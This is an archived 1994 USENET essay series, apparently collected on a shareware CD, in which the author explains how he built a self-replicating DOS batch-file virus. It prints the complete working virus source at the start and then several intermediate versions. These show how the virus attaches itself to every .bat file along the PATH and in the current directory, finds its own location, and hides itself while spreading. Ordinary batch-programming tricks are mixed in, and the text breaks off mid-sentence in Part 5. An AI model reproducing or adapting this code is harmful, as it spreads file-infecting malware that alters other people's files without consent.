HPAVC/HPAVC CD-ROM.iso/CCTX0297.ZIP/BVUPDAT2.ZIP/BATVIRUS.TXT

Text File | 1997-01-03 | 83KB | 1,922 lines

-------------------------------------------------------------
These are the texts of the series 'The Hidden Strengths of
the Dos Batch Language' (treating the subjects of artistry in
programming, advanced MS-DOS batch writing, and computer
viruses), almost exactly as they appeared on the USENET group
comp.os.msdos.programmer, during the autumn of 1994. A few
changes were made to them afterwards, mostly corrections of
bad spelling and style. You are free to copy and redistribute
this document in electronic form, if you leave it unchanged.
-------------------------------------------------------------


PART 1
(4 Oct. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

                  and
               a preface
                 about

             Programming as an Art.


Art lies in self-limitation. Every kind of artistic expression
is an activity within strict limits. For a painter, the most
obvious limit is the edge of the canvas. For a sculptor, there
are the physical properties of his material. The narrower the
limits are, the greater the opportunity for the artist to
prove his skills. A painter who can paint beautiful sceneries
using only two colours of paint, proves he can do without the
others. To do without is the essence of art.

Modern programming does not have to do without any more.
Elaborate programming languages, with all kinds of handy
graphics libraries, object-oriented of course, and nice
prototyping tools, have made developing large applications
easier than ever. But they have also taken away the art and
the fun.

Trying to recapture the fun, I ventured on the weirdest
programming job I had ever tackled: I decided to write a
virus, maybe the most difficult of programs (complexity/size)
in DOS batch language, surely the most ridiculous of programming
languages. The idea had hounded me for years, but never had
I been able to work it out into a practicable and working
program. The difficulties were manyfold: the primitivity of
the IF command; the complete absence of string manipulation
functions (for file names); the simplicity of the environment
variables; the minimalist nature of standard file manipulation
tools (only SORT and FIND) and certainly not least, the absence
of a random generator. Some of the difficulties I have solved,
most of them I have worked around.

In the following pages, I will first give you the complete
code of the last of the eighteen or more versions -- I must
have thrown some away -- being the one that I am most satisfied
with, and also the most complicated. After that, I will step by
step explain the history of the eighteen versions, often
systematically rather than strictly chronologically, and of
course a bit edited and dramatized. I will write this way to
show how the program came into existence and grew from a
simple idea into what will probably stay the most complicated
batch file of my hacking career.

I hope you will be willing to bear with me as I explain the
process of creation of the BatchViRuS, trying to recapture my
train of thoughts of those days. I also hope that I may be
able to make you see the art and fun in stretching the limits
of primitive programming environments. I am sure, however,
that even the most hardened batch programmer will discover
something about DOS he didn't yet know, just as there are many
things I still have to discover. On the other hand, as I
intend to write for relatively inexperienced programmers too,
I will at moments explain things that may seem elementary to
some. This being said to my defense, here is your first peek
at the full code:

---------------------------

@echo off>nul.ViRuS
rem ViRuS The BatchViRuS by Dirk van Deun 1994
rem ViRuS May be copied freely (On your own machine !)
rem ViRuS Programmed to prove that it's possible
rem ViRuS (and to show off skill in writing batchfiles)
rem ViRuS If you have no disk cache, you're not interested ;-)
rem ViRuS E-mail [e-mail]

rem ViRuS Known bug: interpretation of variables may make lines too long
rem ViRuS for DOS and let characters drop off: unpredictable behaviour

if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" echo |   Hi ! I am the nice BatchViRuS !   |
if "%0==" echo --------------------------------------->con.ViRuS
if "%0==" goto ViRuS_OLDBAT
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_PARSEPATH goto ViRuS_parsepath
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat command /e:10000 /c %0 /ViRuS_FINDSELF %path%
if not exist %0.bat call xViRuSx
if not exist %0.bat del xViRuSx.bat
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)
rem ViRuS or if environment is too small to contain %ViRuSname% !

if "%VPATH%==" set VPATH=%PATH%>nul.ViRuS
rem (if environment cannot hold VPATH, ViRuS will function partially)
command /e:10000 /c %0 /ViRuS_PARSEPATH %VPATH%
call xViRuSx
del xViRuSx.bat
if "%VPATH%==" set VPATH=.>nul.ViRuS
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" echo.>xViRuSx.bat
if "%2==" exit>nul.ViRuS
if exist %2\%ViRuSname%.bat echo set ViRuSname=%2\%ViRuSname%>xViRuSx.bat
if exist %2\%ViRuSname%.bat exit
if exist %2%ViRuSname%.bat echo set ViRuSname=%2%ViRuSname%>xViRuSx.bat
if exist %2%ViRuSname%.bat exit
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_parsepath
for %%a in (%2\*.bat;%2*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
for %%a in (%2\*.bat;%2*.bat) do goto ViRuS_new_vpath
shift>nul.ViRuS
if not "%2==" goto ViRuS_parsepath
if not "%1==". for %%a in (.\*.bat) do command /e:10000 /c %ViRuSname% /ViRuS_MULTIPLY %%a
:ViRuS_new_vpath
set VPATH=%3>nul.ViRuS
:ViRuS_loop
shift>nul.ViRuS
if "%3==" echo set VPATH=%VPATH%>xViRuSx.bat
if "%3==" exit>nul.ViRuS
set VPATH=%VPATH%;%3>nul.ViRuS
goto ViRuS_loop

:ViRuS_multiply
echo Checking: %2>con.ViRuS
find "SeT IchBin=%%0" <%2>xViRuSx.bat
call xViRuSx
del xViRuSx.bat
if "%IchBin%=="xViRuSx exit
find "ViRuS" <%ViRuSname%.bat>xViRuSx.bat
type %2>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
echo Infecting: %2>con.ViRuS
exit>nul.ViRuS

rem data for the first find in ViRuS_multiply
SeT IchBin=%0>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy original batch

---------------------------

Such was the final version of my BatchViRuS. The reason I
spell ViRuS with the three capitals will be clear to those who
have already looked at the code more thoroughly. Maybe, to
experienced batch writers, many things will have seemed self-
evident as they read them. I assure you, that they were
not so to me as I still had to invent them. This account is
primarily about programming in difficult circumstances; about
doing without.

To be continued...


PART 2
(12 Oct. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

               Part II:
            Genesis, or: The Basics


The most important thing in the life of a virus is to infect
as many programs as possible. To infect, it must be able to
separate itself from its actual carrier, to copy itself, and
to paste its copy into another carrier. This little program,
infect.bat, will paste itself to the beginning of another
program, of which the name is passed as parameter %1.

find "ViRuS" <%0.bat >%0.vvv
find /v "ViRuS" <%1 >>%0.vvv
copy %0.vvv %1 |rem ViRuS
del %0.vvv     |rem ViRuS

These four little lines, which I wrote on an equally little
piece of paper during an inspired moment quite some years
ago -- a moment of complete boredom going by train from
Turnhout to Brussels without a good book for the trip -- had
given me hope that a virus of MS-DOS commands was possible.
Not only did these lines reproduce themselves, they also took
care that any old version of the virus was deleted from the
target file, which was necessary back then, because I only
discovered very late in the process how to let the virus
recognize itself in another file, and refrain from adding
itself a second time.

Adding '|rem ViRuS' to every line that didn't have the
signature string 'ViRuS' in them, was a simple way of letting
FIND distinguish the virus from the carrier, but it had
certain disadvantages. One of these disadvantages was, that it
was not possible to add such a REM statement to commands that
write to standard output, without making that output
disappear: the output went to REM as input through the pipe
and REM did nothing with it. But more importantly, it slowed
down execution of the batch, because for every pipe, DOS
created a temporary disk file for standard output, which it
deletes after execution of the second piped command.

There was a better way to incorporate the word 'ViRuS' into
many lines of the future virus. It is common practice to add
'>nul' to COPY commands in batch files, to suppress the
message 'x file(s) copied'. A less known fact about the NUL
device (and about all character devices) is that you can add
any extension you like to it, without changing the function.
This way, you can also send the output of COPY to nul.bat,
or to nul.com, or to nul.whatever (=nul.wha). So I decided to
send the output of the COPY command to nul.ViRuS, and this
method of incorporating the signature string I extended to
commands that don't write to standard output at all. Now DOS
didn't create a intermediate files any more, and infect.bat
presently looked like this:

find "ViRuS" <%0.bat >%0.vvv
find /v "ViRuS" <%1 >>%0.vvv
copy %0.vvv %1>nul.ViRuS
del %0.vvv>nul.ViRuS

Of course, what was needed was not a program that infected one
particular file, and certainly not a file of which the name
was passed as first parameter of the batch, because the user
of the batch file would certainly not be so friendly as to
provide a filename. 'FOR %%a IN (*.BAT) do {the 4 commands}'
would be a definite improvement. The 4 commands were put into
a procedure. At the same time, I replaced '%0.vvv' everywhere
with 'xViRuSx.bat', which had the advantage of having the
signature string in it, and was also very unlikely to be the
name of an existing file:

if "%1=="/ViRuS_THE_PROCEDURE goto ViRuS_the_procedure
for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
goto ViRuS_OLDBAT
:ViRuS_the_procedure
find "ViRuS" <%0.bat >xViRuSx.bat
find /v "ViRuS" <%2 >>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
{the original batch file}
:XXX_END

---------------------------

Procedures for batch files are best implemented as pieces of
code that can be called by 'call %0' with a switch parameter.
A series of IF commands at the begin of the batch (I usually
call this part of the code the procedure dispatcher) recognize
the parameter and jump to the right block of code. The last
command of each procedure block is a GOTO to the end of file,
and the 'main program' ends with a GOTO that jumps over the
procedures; so in this particular case, to the place where the
original uninfected batch file is fitted in. This is an
important technique of advanced batch writing, so I'll
illustrate the principle with a simpler example:

@echo off
if "%1=="/A goto A
if "%1=="/B goto B
rem Main Program
call %0 /A
call %0 /B
goto END
:A
echo AAA
goto END
:B
echo BBB
goto END
:END

By the way, I write 'if "%1=="/A ...' and not 'if %1==/A ...'
because if there are no command line parameters, %1 will be
empty, and 'if %1==/A' will expand to (i.e. be interpreted as)
'if ==/A', with nothing at the left of the == operator. This
is considered a syntax error.

---------------------------

Let's go back to the virus. Notice how I had incorporated the
signature 'ViRuS' in all lines, except in the last one. I
didn't put the signature into that line, because this line had
to be placed at the very end of the new, infected files, under
the original batch; so it should not be found by the FIND
commands, as FIND would insert the line at the wrong place.
On the other hand, the line had to be reproduced some way, and
old copies of it had to be deleted from the target file at
infection time, otherwise there would soon be scores of
':XXX_END'-lines at the end of an often-infected file. So I
changed the multiplication procedure to:

:ViRuS_the_procedure
find "ViRuS" <%0.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

After adding an 'echo off' and an 'echo on', the first working
version was ready:

@ECHO OFF>nul.ViRuS
if "%1=="/ViRuS_THE_PROCEDURE goto ViRuS_the_procedure
for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
goto ViRuS_OLDBAT
:ViRuS_the_procedure
find "ViRuS" <%0.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat>nul.ViRuS
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
ECHO ON>nul.ViRuS
echo This is the dummy original batch
:XXX_END

To my initial surprise, I could add '>nul.ViRuS' to 'echo off'
and 'echo on', without changing their effect.

---------------------------

It is evident that a virus that only infects files in the
current directory will not spread very effectively. A first
improvement was a new FOR loop that let the virus search
files to infect in all directories of the PATH variable, plus
in the current directory. If MS-DOS would have allowed nested
loops, I would only have had to change the line:
     for %%a in (*.bat) do call %0 /ViRuS_THE_PROCEDURE %%a
to:
     for %%b in (%path% .) do
       for %%a in (%%b\*.bat) do call /ViRuS_THE_PROCEDURE %%a

As it is, MS-DOS doesn't allow nested loops. I worked around
this using a new procedure call:

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
goto ViRuS_OLDBAT
:ViRuS_outer_loop
for %%a in (%2\*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS
:ViRuS_multiply
...

There is one bug left (or Unexpected Feature, in politically
correct lingo): on a machine with a system path like
'c:\dos;c:\batch;c:\', '%2\*.bat' would expand, correctly,
to 'c:\dos\*.bat', then to 'c:\batch\*.bat', but thirdly to
'c:\\*.bat', with two backslashes. To fix this, I replaced
'%2\*.bat' with '%2\*.bat ; %2*.bat', a combination that
catches all possibilities:

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
goto ViRuS_OLDBAT
:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS
:ViRuS_multiply
(...)
goto XXX_END>nul.ViRuS
:ViRuS_OLDBAT
(...)
:XXX_END

---------------------------

At that point for the first time I sat back and looked at what
I had accomplished. I was pretty sure I had solved most of the
difficulties. The rest would only be refinement. And indeed
this version of the BatchViRuS contained what could be called
the framework of all versions that followed. But there was
still much more to do than I could imagine at that time.
Little did I suspect that the code would grow to be about four
times its present length. The rest of this essay will tell of
everything I did to make the virus work correctly in all
circumstances and to make it infect files more efficiently.
Because as I discovered soon, this version wouldn't do at all.

To be continued...                       For old episodes finger
                     [e-mail]

PART 3
(19 Oct. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

               Part III:
        The Trouble with %0 / Upcase()


The present implementation was really too slow, as it took
several minutes (on my 486 PC with a rather average hard disk
and a disk cache) to reinfect all those files every time an
infected batch was run, but I moved on to a more pressing
problem. Till this moment, I hadn't done much realistic
testing; indeed, in this stage, I hadn't once left the virus
really 'run loose' on my computer. Now it occurred to me that
disaster could very well strike if a file tried to infect
itself, although I hadn't yet seen it happen. If a user had
for instance added a line to the batch file, albeit an empty
line, above the virus, this line would be moved during the
reinfection. MS-DOS would very probably not like it if I
meddled with a file that was opened by command.com for input
at the same moment.

I don't remember how long it took me to think of manipulating
file attributes to hide the active batch file from itself, but
the simplicity of the idea immediately appealed to me. I did
not want to complicate the multiply procedure with extra IF's
and GOTO's, to hold the virus from trying to infect itself, so
I was glad I could achieve the same goal with only two lines
around the main program:

attrib +h %0.bat>nul.ViRuS
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %0.bat>nul.ViRuS

Then a little voice in my head reminded me of something silly
I had seen a newbie do: he started batch files with the full
name of the file: e.g. not TETRIS but TETRIS.BAT. What would
happen if an infected file was run this way ? What exactly was
the expanded value of %0 ?

The manual says that %1 till %9 are expanded to the first till
the ninth command line parameter, and that %0 is expanded to
'the name of the batch file without .bat'. But is that also
true if the batch is started the newbie way ? I tested it with
a batch file called whoami.bat, containing the one line:

@echo %0

I tried 'whoami' and it said 'whoami'. Bad news: it answered
in small letters, not in capitals, so the file name was
probably not preprocessed. I tried 'whoami.bat' and it said
'whoami.bat'. I tried 'whoami.bathroom' and it said
'whoami.bathroom'. The perfect parrot. Now I was really glad
that I had used the ATTRIB method to stop the virus from
overwriting itself, because the method with the IF's would not
have worked: the FOR loops generate file names in all
capital letters, and users usually type their commands in
small letters. The DOS == operator does not recognize upper-
and lowercase letters as being the same.

---------------------------

Actually, there is a little trick to emulate an upcase()
function in MS-DOS batches, and make case independent ==
possible. I didn't use it in any of the versions of the virus,
but as this essay is called 'The Hidden Strengths of the Dos
Batch Language', I will digress and explain it. It is not my
own invention; as a matter of fact, if I remembered who taught
me, I would mention him or her as an example of inventiveness.
As I realize that some insight into the preprocessing of
percent sign operators in batches will be necessary, I begin
with a digression in a digression.

DOS handbooks always tell you that the variable in a FOR loop
has to be a percent sign plus a letter when you type it at the
prompt, and two percent signs plus a letter in batch files.
However, in no book have I ever read why. Also, you can use
%variable_name% to access environment variables in batches,
but not at the prompt. Again, none of the numerous books I
have skimmed on the subject tells why not. As we all know, the
third use for percent signs is in command line parameter
variables (%0...%9). Finally, experimentation shows that, in
batches, 'echo %%' displays only one percent sign, so that
'echo %%2' is the way to display '%2' literally, not command
line parameter 2. These four facts will have to be combined
into one Grand Unified Theory for better understanding.

I just said that no handbook offers an explanation why two
percent signs are necessary for FOR loop variables in
batches. Actually, one book did say something on the subject.
It told me that this was to prevent confusion with the command
line parameter variables %0 to %9. Well, it is true that the
double percent sign prevents confusion, but the explanation is
at best partially correct.

Watching the output of batches with 'echo' on brought the
answer: DOS preprocesses all combinations with percent signs
before execution of the command, even before it is echoed on
display. So 'echo %%' will be echoed on screen as 'C:\>echo %'
(sic), followed on the next line by the output '%'. Also, 'for
%%a in () do echo %%a' is displayed as 'C:\>for %a in () do
echo %a'. This means that the FOR command does not suddenly
ask for two percent signs in its parameter if used in batches,
but that the two percent signs are necessary to make the
preprocessor let pass one.

It also follows that the reason why you cannot access
environment variables from the command line, and the reason
that 'echo %%' at the command line really does display two
percent signs, is that this preprocessing cycle is present
only in batch processing. All strange properties of percent
sign sequences are thus explicable.

---------------------------

Now let's get back to the upcase() trick. The brilliant idea
behind it is that DOS internally has an upcase() function, to
which it does not give access to programmers. You can see this
function in action on quite some occasions, like when you set
an environment variable. Indeed, DOS always converts the name
of the variable to capitals: 'set a=b' makes a variable named
'A', with value 'b'.

The following batch file, compare.bat, makes clever use of
this, by creating an environment variable named after (the
upper case version of) one of the two words that have to be
compared, and as value a test string. Then it checks whether
there exists a variable named after (the upper case version
of) the second word, and as value the test string. If one
does, the two words are the same. Finding out why the checking
has to happen in such a complicated way (lines 4 & 5), I leave
as an exercise for the reader and as a puzzle to test his or
her insight in the Grand Unified Theory of Percent Signs in
Batches.

(I fear that trying to explain in detail would only make it
more obscure; I myself only understood it after staring at the
code for a minute or so, and then it seemed so simple...)

@echo off
if "%2==" goto end
set %1=anyteststring
echo if "%%%2%%=="anyteststring echo Same Thing !>compare2.bat
call compare2
del compare2.bat
set %1=
:end

Of course, in real applications the conditional command will
not be 'echo Same Thing !' but often the setting of a Boolean
variable for further use: 'set same=T'.

---------------------------

But all that still leaves the Problem of the Silly Newbie
User. Although for DOS the file names 'virus.bat' and
'virus.bathroom' are equivalent, 'virus.bat.bat' is not
recognized as being the same. The point upsets DOS. And if a
batch carrying a virus was run the newbie way, the file name
in 'attrib -h %0.bat' would expand to something ending on
.bat.bat . To catch all possibilities, I considered extensive
testing, like this:

if exist %0.bat attrib +h %0.bat >nul.ViRuS
if not exist %0.bat attrib +h %0 >nul.ViRuS
(...)
if exist %0.bat attrib -h %0.bat >nul.ViRuS
if not exist %0.bat attrib -h %0 >nul.ViRuS

Some way or other, it didn't seem an elegant solution. It was
hate at first sight. As I considered the problem unimportant
("Let's not bother with a few newbies") I left the program as
it was before, except that at the begin I added the line:

if not exist %0.bat goto ViRuS_OLDBAT

This way, if the virus couldn't find itself back as %0.bat, it
bailed out and left the original batch execute. It was also
this line of code that attracted my attention to an unforeseen
problem while testing.

During one of the tests, I typed 'virus' to start my most
recent test version, but nothing seemed to happen. I got no
'Bad command or file name', so the batch file had been
executed. Nor had I typed 'virus.bat', so the newly added line
should not be the problem. It was.

I had executed the batch from another directory. DOS had found
the batch for me, because it was located in a directory of the
system path, but the batch couldn't find itself back. My
current directory was the root, and virus.bat was in \tmp. DOS
knew where to find virus.bat, executed it, but the stupid
batch (the 'if exist') then searched itself in the root. It
didn't find anything, of course, and it quit. If I were a
drinker, that would have been the moment to open a bottle. As
it was, I shut off the computer and munched some chocolate.

To be continued...                       For old episodes finger
                     [e-mail]

PART 4
(26 Oct. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

               Part IV:
            On How to Find Yourself


This was the worst case of Being Stuck of the whole project.
The virus really needed to know its own location, if not to be
able to protect itself from overwriting, certainly as input
for the FIND command that separated the virus from its
carrier. There was no getting around it: I had to devise some
method to let the virus search the system path too, like DOS
did when it executed the batch.

It seemed a hell of a task to embed all lines that contained
'%0' in 'for %%a in (. %path%) do if exist...' constructions,
for some lines the more so because DOS processes redirections
at the end of a compound command early. To show you what I
mean by that: the next line, a reasonable being would suppose,
will sort a.dat to standard output if it exists and do nothing
if it does not exist:

if exist a.dat sort <a.dat

In contrast, the unreasonable computer will display an error
message if a.dat does not exist. DOS evaluates the <a.bat
before the 'exist', and so if there is no a.bat, DOS snorts:
'File not found'. The only way around that, is to split up
command, so that the line containing the redirection
instruction will not be processed if there is no a.dat:

if NOT exist a.dat goto hell
sort <a.dat
:hell

I didn't like the way this was going. The code was getting way
too fat. Luckily, the Muses came to my help. They spoke to me
in my sleep: 'Dirk, thou shalt do this work but once and put
the results in an environment variable.' (Didn't I promise in
the preface I would dramatize the account a bit ?) Anyway, I
grabbed a piece of paper and a pencil (never go to bed without
them), and jotted down the great idea. And unlike most great
ideas you write down half-sleepingly, this one was still great
in the morning.

So I first tried:

set ViRuSname=%0
if not exist %0.bat for %%a in (%path%) do call %0 /ViRuS_FINDSELF %%a

together with the following procedure (I will not now bother
you with the new line in the procedure dispatcher block):

:ViRuS_findself
if exist %2\%0.bat set ViRuSname=%2\%0
if exist %2%0.bat set ViRuSname=%2%0
goto XXX_END>nul.ViRuS

However, there was an unexpected flaw in this approach: I had
a very long system path, and the line 'if not exist %0.bat for
%%a in (%path%) do ...' was expanded at runtime into something
that extended beyond the maximum length for DOS commands, so
that letters fell off at the end ! This was a rather weird
bug, and I only discovered it during some tiresome tracing
through the pages and pages of output the virus produced when
I disabled the 'echo off'. Unconventional bugs require
unconventional measures, so I could do nothing but try to
shorten the line that had %path% in it, and if possible put
%path% only at the ends of lines, so that if something fell
off, no serious damage was done (it only increased the
probability that the virus would not find itself). Let's skip
some trials and go straight to the final version:

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

In high-level terms, I had replaced the FOR loop with a
'while' loop. In the first version, the FOR command had been
responsible for splitting %path% in its components: each
component of the path would be %%a for one passage of the
loop. Now it was up to the procedure ViRuS_findself to do the
splitting up. It was a strangely lucid moment when I saw that
if I let the CALL statement contain %path% as a parameter, MS-
DOS would do the carving for me, because the semicolons in the
path are separators for MS-DOS: 'call %0 /ViRuS_FINDSELF
%path%' would not cause %path% to be put into %2 for the
CALLed copy of virus.bat, but %path% would be divided over
%2 %3 %4 %5... (%1 = /ViRuS_FINDSELF).

After this procedure was ready, I replaced all %0's by
%ViRuSname%'s (except in call statements, where it wasn't
necessary), and I rewrote a few lines to make sure that the
variable ViRuSname would be reset on terminating. The first
and worst crisis was over. I printed a copy of the whole
program, shut off the computer and, very irrelevantly, went to
a school reunion:

@echo off>nul.ViRuS
if "%1=="/ViRuS_MULTIPLY goto ViRuS_multiply
if "%1=="/ViRuS_OUTER_LOOP goto ViRuS_outer_loop
if "%1=="/ViRuS_FINDSELF goto ViRuS_findself
if "%VOFF%=="T goto ViRuS_OLDBAT

set ViRuSname=%0
if not exist %0.bat call %0 /ViRuS_FINDSELF %path%
if not exist %ViRuSname%.bat set ViRuSname=
if "%ViRuSname%==" goto ViRuS_OLDBAT

rem ViRuS if batch is started with name.BAT, virus will not become active
rem ViRuS it was a bug, now it's a feature ! (also notice the voff variable)
rem ViRuS also if batch was only in an append /x:on path (chance=minimal)

attrib +h %ViRuSname%.bat
for %%a in (%path%;.) do call %0 /ViRuS_OUTER_LOOP %%a
attrib -h %ViRuSname%.bat
set ViRuSname=
goto ViRuS_OLDBAT

:ViRuS_findself
if "%2==" goto XXX_END>nul.ViRuS
if exist %2\%ViRuSname%.bat set ViRuSname=%2\%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
if exist %2%ViRuSname%.bat set ViRuSname=%2%ViRuSname%
if exist %ViRuSname%.bat goto XXX_END
shift>nul.ViRuS
goto ViRuS_findself

:ViRuS_outer_loop
for %%a in (%2\*.bat;%2*.bat) do call %0 /ViRuS_MULTIPLY %%a
goto XXX_END>nul.ViRuS

:ViRuS_multiply
find "ViRuS" <%ViRuSname%.bat >xViRuSx.bat
find /v "ViRuS" <%2 |find /v ":XXX_END" >>xViRuSx.bat
echo :XXX_END>>xViRuSx.bat
copy xViRuSx.bat %2>nul
del xViRuSx.bat
goto XXX_END>nul.ViRuS

:ViRuS_OLDBAT
echo on>nul.ViRuS
echo This is the dummy original batch
:XXX_END

---------------------------

It was a pity Thomas wasn't present at the reunion. To him, I
could have bragged about my new program. Now there was nobody
who would have had the slightest idea what I was speaking
about, so I talked with some people about my studies in
classical philology. Somehow, most people seem more at ease
when you talk to them about Plato and Caesar, than when you
talk about computers. Well, anyway, I was pretty proud of my
hacking and the next morning I made another, high-quality
printout to keep in my archives.

To be continued...                       For old episodes finger
                     [e-mail]

PART 5
(3 Nov. 1994)

Writing a computer virus is a bit like planning the perfect
murder. Some very amiable and peaceful people like to plan the
ultimate crime just for the intellectual pleasure: afterwards
they don't execute their plan, but write a story or a novel
about it. Likewise, I believe, there are many nice and decent
hackers in the world that spend their evenings programming the
perfect virus, only to prove to themselves and to a few
friends that they can do it. I did it: now I am writing the
story. It will appear in eight to ten weekly episodes on this
newsgroup. Comments are much appreciated.


    The Hidden Strengths of the Dos Batch Language

                Part V:
          Infection Strategies / %0 Revisited


Now it was time to find a way to speed things up. Every time
an infected batch file was run, it took about two minutes to
reinfect all other batches it could find. I had already added
a test 'if "%VOFF%=="T goto ViRuS_OLDBAT', so I could easily
disable the virus, which was now all over my disk, by setting
an environment variable, because it was getting on my nerves.

Normal link-virusses infect only one other file at a time, so
that the user doesn't notice the delay in execution of his
programs. Now could I let the BatchViRuS do the same ?

Maybe I could, maybe I couldn't. I remember having written
some versions that infected only one batch at a time, but they
were quite complicated, needed lots of environment variables
to remember and communicate which directory was being
processed, and what was the last processed file, that all this
slowed down the computer almost as much as the old version;
especially because I still had to use (quite complicated) FOR
loops to simulate the findfirst and findnext functions.

Also, as I could use no random generator, every time the
computer was switched off and on, infection began again with
the first batch file in the first directory of the system
path. I could of course save the variables to a file, but it
would be in constant danger of being deleted; also this was
yet another complication. Infecting on file-by-file basis
seemed not to be the solution.

---------------------------

I just said I could 'of course' save the variables to a file,
but maybe some explanation is in place here, on how exactly I
would save the contents of an environment variable to a file.

Environment variables can be saved to a disk file as SET
commands. You give the file the .bat-extension, and to reload
the variables, you just execute the batch file (with CALL if
from another batch file). If I would want to save the system
path, for example, I would do so as follows:

     echo set path=%path% > savefile.bat

This can only be done from a batch file, not from the prompt
(see Part III on this subject), but reloading the variables
can be done by typing 'savefile' at the prompt as well as by
'call savefile' from another batch.

---------------------------

Infecting whole directories at a time looked like a good
compromise. The user would notice that something was going on
of course, but I didn't intend to use the virus on innocent
victims anyway; and infecting whole directories would
guarantee efficient multiplication, while reducing wasted time
considerably for the user, compared with the old version.
If I included a line like 'echo Now infecting: xxxxxxxx.bat',
time would seem to pass quickly as the user sat watching his
screen in unprecedented and unparalleled admiration.

For someone who wanted only to prove the theoretical
possibility of a virus in batch language, this was more than
good enough, even when, for the rest, I always tried to make
the virus as realistic as possible. (Anyway, when everybody
will have a Hexium PC with super-fast hard disk, the trouble
will have solved itself, for the directory-by-directory as
well as for the file-by-file approach, which proves that this
is only a practical, not a fundamental problem.)

I intended the virus to start infecting in the first directory
of the path every time the computer was reset, and to process
a part of the rest of the path every time an infected batch
was run. When the whole path had been processed, the virus
could infect everything in the current directory every time it
was run; an inefficient way, but the only way, to infect
directories not in the path.

---------------------------

Recently I downloaded Timo Salmi's batch trick collection, and
among a lot of really interesting stuff, I saw a very
complicated batch file that promised to be able to search all
files that fitted a specified template, *.bat for example, in
all directories of a file system, and pass their full
pathnames as parameters to any command. This of course would
be a valuable addition to the virus, so I tried it right away.
It didn't work.

I stared at the source code for maybe a quarter of an hour,
but then it dawned on me: the batch uses the output of some
DOS commands in a very ingenious way, and for that purpose it
expects these messages to be in English. On my own computer at
home I have a Dutch version of DOS, and this ruined the whole
plan. I could probably make a version of the trick that works
on my computer, but certainly no universal version. That is
why the current version of the virus is still limited to
infecting the system path plus the current directory.

---------------------------

The different copies of the virus had to communicate where
they had left off, or better still where the next had to
